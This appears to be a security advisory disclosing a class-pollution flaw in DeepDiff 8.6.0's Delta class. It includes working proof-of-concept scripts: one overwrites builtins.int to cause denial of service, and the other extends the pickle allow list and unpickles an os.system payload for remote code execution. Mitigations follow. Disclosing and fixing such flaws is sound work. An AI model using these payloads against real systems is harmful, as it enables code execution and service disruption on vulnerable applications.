DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and more

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle

from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

# ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
$ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180